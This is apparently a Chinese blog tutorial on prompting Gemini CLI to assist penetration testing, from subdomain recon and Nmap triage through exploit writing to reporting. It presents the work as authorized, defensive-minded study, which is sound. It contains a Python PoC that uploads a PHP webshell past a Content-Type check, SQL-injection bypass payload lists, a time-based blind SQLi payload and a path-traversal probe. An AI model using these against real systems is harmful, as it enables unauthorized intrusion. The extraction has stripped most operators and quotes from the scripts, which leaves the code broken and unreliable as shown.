AI辅助渗透测试实战:基于Gemini CLI的提示词设计与自动化应用 📅 2026/6/29 21:28:18 1. 项目概述当AI成为渗透测试的“副驾驶”最近在安全圈里一个话题的热度持续攀升如何让AI真正成为渗透测试工程师的“副驾驶”而不是一个只会说漂亮话的“实习生”。我自己也花了大量时间尝试了市面上各种大模型和工具最终把目光锁定在了Google的Gemini CLI上。这不仅仅是因为它免费、本地化部署方便更重要的是它的API调用方式非常“程序员友好”可以无缝集成到我们的自动化工作流和日常命令行操作中。这个项目就是关于如何设计一套行之有效的提示词Prompt让Gemini CLI从一个普通的聊天机器人变成一个能理解渗透测试上下文、能执行特定安全任务、能输出结构化结果的“智能助手”。简单来说我们想解决的问题是在渗透测试的各个阶段信息收集、漏洞扫描、利用验证、报告撰写工程师往往需要重复查询大量命令、翻阅文档、分析杂乱的数据。AI的潜力在于它能瞬间消化这些信息并给出精准的建议或直接生成可用的代码片段。但潜力不等于能力直接问“怎么打这个站”得到的回答往往空洞无用。核心就在于“提示词设计”——这是一门教AI如何思考、如何工作的“编程语言”。通过这个项目你将掌握如何为Gemini CLI“编程”让它帮你快速进行子域名枚举分析、从Nmap结果中提炼攻击面、编写定制化的漏洞利用代码甚至生成专业的测试报告草稿。无论你是刚入门的安全爱好者还是想提升效率的资深工程师这套方法都能让你手中的工具立刻变得“聪明”起来。2. 核心思路构建渗透测试的“AI思维链”让AI辅助渗透测试绝不是简单地把问题抛给它然后等待奇迹。核心思路是模仿资深安全专家的思考过程并将这个过程“翻译”成AI能理解并执行的指令序列。这背后依赖一个关键概念“思维链”Chain-of-Thought。我们需要引导AI而不是命令AI。2.1 从“模糊提问”到“精准任务拆解”新手常犯的错误是提出过于宽泛的问题。例如输入“针对example.com进行渗透测试”。这种提示词注定失败因为任务太宏大AI无法聚焦。我们的设计思路是进行任务拆解将渗透测试生命周期分解为离散的、上下文明确的子任务。为什么这么做降低复杂度每个子任务对AI来说目标明确更容易生成高质量输出。提供上下文前一个任务的输出可以作为下一个任务的输入模拟了真实测试中的信息累积过程。便于验证小任务的结果更容易被工程师快速验证和纠正形成“人机协作”的良性循环。基于此我设计了一套基础的任务流提示词框架它不针对具体漏洞而是定义了AI应该如何与工程师互动你是一名专业的渗透测试工程师助手。请严格按照以下流程工作 1. 当我提供一个目标如域名、IP地址时你首先应询问或确认测试范围、权限白盒/黑盒及核心目标。 2. 根据确认的信息你将为我规划一个分阶段的测试计划大纲包括信息收集、威胁建模、漏洞分析、利用验证、报告要点。 3. 在每个阶段我将提出具体需求如“请列举针对此目标的子域名枚举方法”或“分析这段Nmap输出”你需要提供具体的命令、工具参数、代码片段或分析结论。 4. 你提供的所有命令和代码都必须是真实可用、语法正确的并附带简要解释。 5. 如果我的需求信息不足你应主动询问关键参数如端口号、服务版本、观察到的错误信息。 现在我们开始。目标target.example.com。假设为授权黑盒测试目标是发现高危漏洞。请给出第一阶段信息收集的建议行动清单。这个提示词明确了AI的角色、工作流程、交互方式和输出规范为后续所有具体操作奠定了基础。2.2 提示词的核心要素角色、上下文、格式与约束一个高效的提示词通常包含以下四个要素我将其称为“提示词四要素”角色定义告诉AI“你是谁”。例如“你是一名专注于Web应用安全的渗透测试专家”这会让AI调用与安全相关的知识库和推理模式而不是通用聊天模式。上下文背景提供必要的环境信息。包括目标信息、测试类型、前置步骤的结果等。例如“这是从target.com获取的JavaScript文件列表其中可能包含API密钥、硬编码密码等敏感信息。”具体任务清晰、无歧义地说明你要AI做什么。使用动作性词汇如“分析”、“列举”、“对比”、“生成”、“编写”。最好一步一任务。输出格式与约束这是获得可用结果的关键。你必须规定AI输出的形式。格式要求以JSON、Markdown表格、列表、代码块等形式输出。约束包括“只输出命令”、“不要解释原理”、“优先使用nmap、gobuster等工具”、“假设运行在Kali Linux 2024.1环境”等。这能极大减少无关输出提升效率。实操心得在Gemini CLI中可以通过--format参数或直接在提示词中强调格式要求来控制输出。我发现明确要求“将结果以Markdown表格形式呈现”或“输出一个可执行的Bash脚本”比让AI自由发挥得到的结果要干净、有用得多。3. 实战场景一信息收集与侦察自动化信息收集是渗透测试的基石也是最繁琐的阶段。AI在此阶段可以大显身手快速生成侦察命令、整合工具链、并初步分析结果。3.1 子域名枚举与智能分析传统上我们可能手动运行subfinder、amass、assetfinder等多个工具然后去重、筛选。AI可以帮我们生成一体化的侦察脚本并对结果进行初步分类。操作示例向Gemini CLI发送如下提示词你是一个渗透测试自动化专家。我的目标是example.com。请生成一个Bash脚本该脚本依次执行以下任务 1. 使用subfinder、amasspassive模式、assetfinder进行子域名枚举。 2. 将以上所有工具的结果合并到一个文件all_subs.txt中并去除重复项。 3. 对all_subs.txt中的每个子域名进行HTTP/HTTPS服务存活检测使用httpx将存活的域名保存到alive_subs.txt。 4. 从alive_subs.txt中筛选出可能包含管理后台、API接口、测试环境等关键资产的子域名根据常见关键词如admin、api、dev、test、staging进行匹配并将这些高风险目标单独列出。 请只输出完整的Bash脚本代码并添加必要的注释。AI可能生成的脚本框架#!/bin/bash TARGETexample.com echo [*] 开始对 $TARGET 进行子域名枚举... # 1. 使用多种工具枚举 echo [] 运行 subfinder... subfinder -d $TARGET -silent -o subfinder.txt echo [] 运行 amass (passive)... amass enum -passive -d $TARGET -o amass.txt echo [] 运行 assetfinder... assetfinder --subs-only $TARGET assetfinder.txt # 2. 合并并去重 cat subfinder.txt amass.txt assetfinder.txt | sort -u all_subs.txt echo [*] 发现总计 $(wc -l all_subs.txt) 个唯一子域名。 # 3. HTTP存活探测 echo [] 使用 httpx 探测存活服务... httpx -l all_subs.txt -silent -o alive_subs.txt echo [*] 存活服务: $(wc -l alive_subs.txt) 个。 # 4. 筛选高风险目标 echo [] 筛选高风险子域名管理后台、API等... HIGH_RISK_KEYWORDSadmin api dev test staging portal backup for keyword in $HIGH_RISK_KEYWORDS; do grep -i $keyword alive_subs.txt done | sort -u high_risk_subs.txt echo [*] 高风险目标已保存至 high_risk_subs.txt注意事项AI生成的脚本可能需要微调比如工具路径、参数别名你的系统里assetfinder命令可能不同。但它提供了一个极佳的、可立即修改的起点。可以要求AI增加步骤例如对存活域名进行截图使用gowitness或提取标题httpx -title。3.2 Nmap扫描结果快速解读面对一份冗长的Nmap扫描报告快速定位潜在攻击点是项关键技能。我们可以让AI充当第一轮分析员。操作示例将你的Nmap扫描结果-oG或-oX格式更好保存到文件nmap_scan.txt然后向Gemini CLI发送提示词你是一名网络安全分析师。以下是一份Nmap扫描结果摘要。请分析并列出 1. 所有开放的端口及其对应的服务、版本信息。 2. 识别其中可能存在的、已知与高危漏洞关联的服务版本例如Apache Tomcat 8.5.19以下OpenSSH 7.4以下等。 3. 针对每个潜在风险服务建议1-2条下一步深入探测或利用的命令例如使用nikto扫描Web端口使用searchsploit查找对应服务版本的漏洞。 请以Markdown表格形式呈现分析结果。 扫描结果如下在此粘贴你的nmap_scan.txt内容**AI输出的分析表示例** | 端口 | 协议 | 服务 | 版本 | 风险提示 | 建议行动 | | :--- | :--- | :--- | :--- | :--- | :--- | | 22/tcp | ssh | OpenSSH | 7.2p2 | 版本较旧7.4存在多个已知漏洞CVE-2016-6210等 | 1. searchsploit openssh 7.2p2 br 2. 检查是否支持弱密码或默认密钥 | | 80/tcp | http | Apache httpd | 2.4.29 | Apache 2.4.29-2.4.48存在路径穿越漏洞CVE-2021-41773 | 1. nikto -h http://target:80 br 2. 手动测试/icons/.%%32%65/ | | 3306/tcp | mysql | MySQL | 5.7.33 | 若配置不当可能存在未授权访问 | 1. nmap -p 3306 --script mysql-empty-password target br 2. 尝试使用mysql客户端匿名连接 | **实操心得**对于XML格式-oX的输出可以要求AI进行更结构化的解析。例如“解析此Nmap XML文件提取所有service标签并对比CVE数据库基于常见版本漏洞生成风险评级。”虽然Gemini CLI不能直接联网查询CVE但你可以提供一份本地简化的版本-漏洞映射表作为上下文。 ## 4. 实战场景二漏洞利用与代码生成 在发现潜在漏洞后我们经常需要编写或调整利用代码。AI在理解漏洞原理和生成PoC概念验证代码方面表现出色。 ### 4.1 根据漏洞描述生成利用代码 当你从一个模糊的漏洞公告或描述中获取信息时可以让AI帮你将其转化为具体的测试步骤。 **操作示例** 假设我们了解到“某CMS的v1.0版本/api/upload接口存在未授权文件上传仅检查了Content-Type头”。提示词可以这样设计你是一名渗透测试工程师。我需要测试一个文件上传漏洞。已知信息目标URLhttp://target.com/api/upload漏洞点该接口未进行身份验证仅通过检查HTTP请求的Content-Type头部来判断是否为合法图片。限制后端可能只允许image/jpegimage/png。 请为我编写一个Python的PoC脚本使用requests库绕过Content-Type检查上传一个包含简单Webshell如?php system($_GET[‘c’]);?的.php文件。在脚本中演示两种常见的绕过技巧a) 伪造Content-Type: image/jpeg。 b) 通过修改文件名后缀为.php.jpg双后缀尝试绕过。脚本应包含尝试上传、检查响应状态码和内容以判断是否成功。 请只输出完整的Python代码并添加注释。**AI生成的代码框架** python import requests import sys def upload_webshell(url, webshell_content): 尝试绕过Content-Type检查上传Webshell # 目标URL upload_url url.rstrip(/) /api/upload # 准备恶意文件内容 malicious_file webshell_content # e.g., ?php system($_GET[c]);? # 方法1直接伪造Content-Type files {file: (shell.php, malicious_file, image/jpeg)} # 关键伪造为jpeg类型 headers {User-Agent: Mozilla/5.0} print(f[*] 尝试方法1伪造Content-Type为image/jpeg...) try: resp requests.post(upload_url, filesfiles, headersheaders, timeout10) print(f 状态码: {resp.status_code}) print(f 响应摘要: {resp.text[:200]}) if resp.status_code 200 and success in resp.text.lower(): print([!] 方法1可能上传成功请检查响应中文件路径。) except Exception as e: print(f 请求失败: {e}) # 方法2使用双后缀文件名 files2 {file: (shell.php.jpg, malicious_file, image/jpeg)} print(f\n[*] 尝试方法2使用双后缀文件名(shell.php.jpg)...) try: resp2 requests.post(upload_url, filesfiles2, headersheaders, timeout10) print(f 状态码: {resp2.status_code}) print(f 响应摘要: {resp2.text[:200]}) except Exception as e: print(f 请求失败: {e}) if __name__ __main__: if len(sys.argv) ! 2: print(f用法: {sys.argv[0]} 目标基础URL) sys.exit(1) target sys.argv[1] webshell ?php system($_GET[c]);? # 简单的Webshell upload_webshell(target, webshell)注意事项安全与授权务必、务必、务必只在你有明确授权的目标上运行此类脚本。AI生成的利用代码可能具有攻击性。代码需要调试AI生成的代码是很好的起点但可能无法直接运行比如依赖处理、目标具体参数。你需要具备基本的代码阅读和调试能力。迭代优化如果第一次生成的代码不工作可以将错误信息反馈给AI让它进行修正。例如“上述脚本返回403错误目标可能还检查了Referer头或使用了CSRF令牌。请修改脚本尝试添加常见的Referer头如目标本身域名并处理可能的CSRF令牌。”4.2 SQL注入载荷的变体生成与混淆在手动测试SQL注入时我们经常需要尝试多种载荷格式来绕过WAF或简单的过滤。AI可以快速生成一系列变体。操作示例你正在测试一个疑似存在SQL注入的登录框参数是username和password。初步测试发现单引号‘会引发数据库错误。请生成10个用于username字段的、用于探测和利用Union注入的载荷变体。要求 1. 包含经典的‘ OR ‘1’’1及其各种编码、注释变体。 2. 包含使用UNION SELECT探测列数的载荷。 3. 尝试使用不同的空白符如/**/、大小写混淆、内联注释/*!*/。 4. 每个载荷一行并简要说明其意图或绕过思路。AI可能生成的载荷列表1. admin‘ OR ‘1’’1 -- - 经典永不过时注释掉后续部分 2. admin‘ OR ‘1’’1 # 使用MySQL的#号注释 3. admin‘ OR ‘1’’1%00 使用空字节截断在某些环境下有效 4. admin‘ OR ‘1’’1/*!*/ 使用MySQL内联注释可能绕过空格过滤 5. admin‘/**/OR/**/‘1’’1-- - 使用注释符作为空白符 6. aDmIn‘ Or ‘1’’1 -- - 大小写混淆绕过简单的关键字检测 7. ‘ UNION SELECT NULL -- - 探测单列 8. ‘ UNION SELECT NULL,NULL -- -探测两列 9. ‘/*!UNION*//*!SELECT*/NULL,NULL,NULL -- - 内联注释包裹关键字 10. ‘%55%4e%49%4f%4e %53%45%4c%45%43%54 NULL -- - URL编码绕过实操心得你可以将这个列表保存为.txt文件然后通过Burp Suite Intruder或sqlmap的--tamper脚本灵感来源。更进一步你可以要求AI直接编写一个简单的Python脚本用于对基础载荷进行随机大小写转换或插入注释符实现动态载荷生成。5. 实战场景三报告撰写与知识管理渗透测试的最后一环也是最能体现价值的一环是报告撰写。AI可以帮助我们从零散的数据中提炼发现组织语言生成报告初稿。5.1 从发现到报告段落将你的漏洞发现如手动测试步骤、工具输出整理成简洁的要点让AI将其转化为专业的报告段落。操作示例你是一名渗透测试报告撰写专家。请将以下漏洞发现按照“漏洞描述”、“风险等级”、“受影响组件”、“重现步骤”、“修复建议”的结构编写成专业的报告段落。 漏洞发现 - 目标http://internal-app.corp.com - 漏洞类型敏感信息泄露 - 路径访问 http://internal-app.corp.com/.git/ 目录发现可以目录遍历下载了.git文件夹。 - 影响通过git历史记录可以恢复出源代码、数据库配置文件内含明文密码、API密钥。 - 重现1. 使用浏览器或curl访问上述URL。 2. 使用wget -r递归下载。 3. 使用git log和git diff分析历史。 - 风险高直接导致源码和核心凭据泄露。 请输出格式清晰的Markdown内容。AI生成的报告段落漏洞标题.git目录未授权访问导致源代码及敏感信息泄露漏洞描述目标Web应用http://internal-app.corp.com的.git版本控制目录暴露在公网且未设置访问权限限制。攻击者可直接访问并下载完整的.git文件夹进而通过git命令恢复历史版本获取应用程序的完整源代码、数据库连接配置文件、硬编码的API密钥及其他敏感凭据。风险等级高危受影响组件http://internal-app.corp.com根目录及其.git子目录。重现步骤使用任意HTTP客户端如浏览器、cURL访问URLhttp://internal-app.corp.com/.git/。确认可列出目录内容或直接下载index等git对象文件。使用wget -r http://internal-app.corp.com/.git/递归下载整个目录。在本地使用git log、git checkout等命令恢复历史提交提取源代码和配置文件。修复建议立即措施在Web服务器如Apache的.htaccess或Nginx的location配置中添加规则禁止访问.git目录。示例Nginx:location ~ /\.git { deny all; return 404; }。根本措施将.git目录移出Web根目录或确保构建部署流程不会将版本控制文件同步到生产环境。安全扫描使用静态应用安全测试SAST工具对已泄露的源代码进行扫描评估已泄露凭据的风险并及时轮换所有相关的API密钥和数据库密码。**注意事项**AI生成的修复建议通常是通用性的。你需要结合目标实际的技术栈如使用的是IIS还是Tomcat进行修改和具体化。但它提供了一个非常扎实的初稿节省了大量组织语言的时间。 ### 5.2 构建个人化的渗透测试知识库 我们可以利用Gemini CLI的对话上下文能力构建一个动态的“经验记录本”。例如在每次测试结束后你可以这样总结在同一个Gemini CLI会话中之前已经讨论过SQL注入测试 本次针对portal.example.com的测试我们发现了一个基于时间的盲注漏洞。与之前讨论的Union注入不同这个漏洞位于/api/userinfo的id参数仅通过响应延迟判断。我们最终使用的有效载荷是id1‘ AND IF(ASCII(SUBSTRING(database(),1,1))100, SLEEP(2), 0) -- -。 请将这一条新的漏洞案例按照“漏洞类型”、“检测方法”、“独特载荷”、“利用工具如果有”、“参考链接”的格式添加到我们的“SQL注入案例集”中。请用Markdown表格的一行来呈现。通过这种方式你可以不断地在一个对话线程中积累经过实战验证的漏洞模式、有效载荷和技巧。这个“对话线程”就成了一个由你训练、为你服务的个性化知识库。你可以随时要求AI基于这个案例集为你生成针对新目标的测试检查清单。 **常见问题与排查技巧实录** 在实际使用Gemini CLI进行AI辅助渗透测试时你肯定会遇到一些“坑”。这里记录了几个最常见的问题和我的解决思路。 **Q1AI生成的命令或代码执行报错怎么办** **A1**这是最常遇到的问题。首先**不要完全信任AI的输出**。将其视为一个强大的“实习生”。 * **检查环境差异**AI给出的命令可能基于Kali Linux最新版而你的环境可能工具版本不同、路径不同。仔细阅读错误信息调整工具名称或参数。例如AI说用dirb但你系统里可能叫dirbuster或者你需要指定完整路径。 * **提供错误反馈**将完整的错误信息复制给AI并要求它修正。提示词可以是“你之前提供的脚本在运行到amass命令时报错command not found。请检查并修正脚本假设我的环境中amass需要通过docker run调用请修改相应部分。” * **分解任务**如果是一个复杂的脚本让AI分步解释或生成。先让它输出思路再生成部分代码逐步验证。 **Q2AI的回答过于笼统缺乏实战价值怎么办** **A2**这通常是因为提示词不够具体或者缺乏上下文。 * **增加约束和场景**不要问“怎么进行横向移动”要问“在已获取一台Windows 10内网主机的普通用户权限后接下来使用哪些命令如net view, powerview.ps1来发现域内其他主机和用户请列出具体命令和解析输出的关键点。” * **提供“种子”信息**先给AI喂一些高质量的数据。例如在让它分析Nmap结果前先给它一段你手动分析好的范例告诉它你关注的模式如“我通常关注非标准端口、过时的服务版本、http-title中的框架信息”。 * **要求结构化输出**明确要求以列表、表格、JSON格式输出这能迫使AI进行逻辑归纳减少废话。 **Q3Gemini CLI的响应速度慢或者上下文长度不够怎么办** **A3**处理长文本或复杂逻辑时确实会遇到。 * **分而治之**将一个大任务拆分成多个小任务分多次对话完成。例如先让AI分析端口扫描结果再基于开放端口如80深入分析Web应用。 * **总结和提炼**对于很长的工具输出如nikto扫描结果先自己或让AI进行一轮摘要“从以下Nikto输出中只提取出状态为HIGH的风险项和对应的URL路径。”然后将这个摘要作为上下文进行下一步分析。 * **利用文件交互**Gemini CLI支持从文件读取输入。可以将你的扫描结果保存为scan.txt然后使用命令如gemini -f scan.txt “分析此扫描结果中的高危漏洞”。这比在终端里粘贴大段文本更可靠。 **Q4如何确保AI建议的操作符合安全规范和授权范围** **A4****AI没有道德观念你有。** 这是最重要的原则。 * **在提示词中明确约束**每次开启一个新的测试任务对话时第一句提示词就应强调“所有建议的操作仅用于在已获得明确书面授权的目标上进行安全测试。不得建议或生成用于非法入侵、破坏的代码。” * **人工审查每一行代码**在将AI生成的任何脚本、命令用于真实环境前必须逐行理解其作用。特别是涉及下载、执行远程代码、删除文件等危险操作时。 * **在隔离环境中测试**先在虚拟机、Docker容器或专门的测试靶场如DVWA、Vulnhub中运行AI生成的利用代码验证其有效性和安全性。 **Q5对于最新的、未广泛披露的漏洞0-dayAI有用吗** **A5**AI的知识存在截止日期Gemini的训练数据不是实时的对于最新的0-day它可能一无所知或提供过时信息。 * **管理预期**不要指望AI直接告诉你一个未知的0-day。它的价值在于 * **辅助分析**当你从其他渠道如推特、漏洞平台获得一些模糊的漏洞描述或PoC片段时AI可以帮助你理解原理并将其适配到你的目标环境。 * **模式识别**即使面对新漏洞其利用模式如反序列化、内存破坏可能是相似的。AI可以帮你快速构建类似模式的测试用例。 * **编写EXP**如果你有漏洞的详细技术细节AI可以帮你快速编写出利用脚本的框架节省大量编码时间。 最后一点个人体会是AI辅助渗透测试目前阶段最像是一个“超级加速器”和“永不疲倦的初级研究员”。它能瞬间完成信息检索、模式匹配和代码草稿生成将你从重复劳动中解放出来。但它无法替代你的核心能力对安全原理的深刻理解、在复杂环境下的逻辑推理、对攻击面的创造性思维以及最重要的——职业操守和判断力。学会设计好的提示词就是学会如何高效地驾驭这个强大的工具让它将你的专业能力放大而不是被它牵着鼻子走。真正的测试始终始于你的大脑也终于你的判断。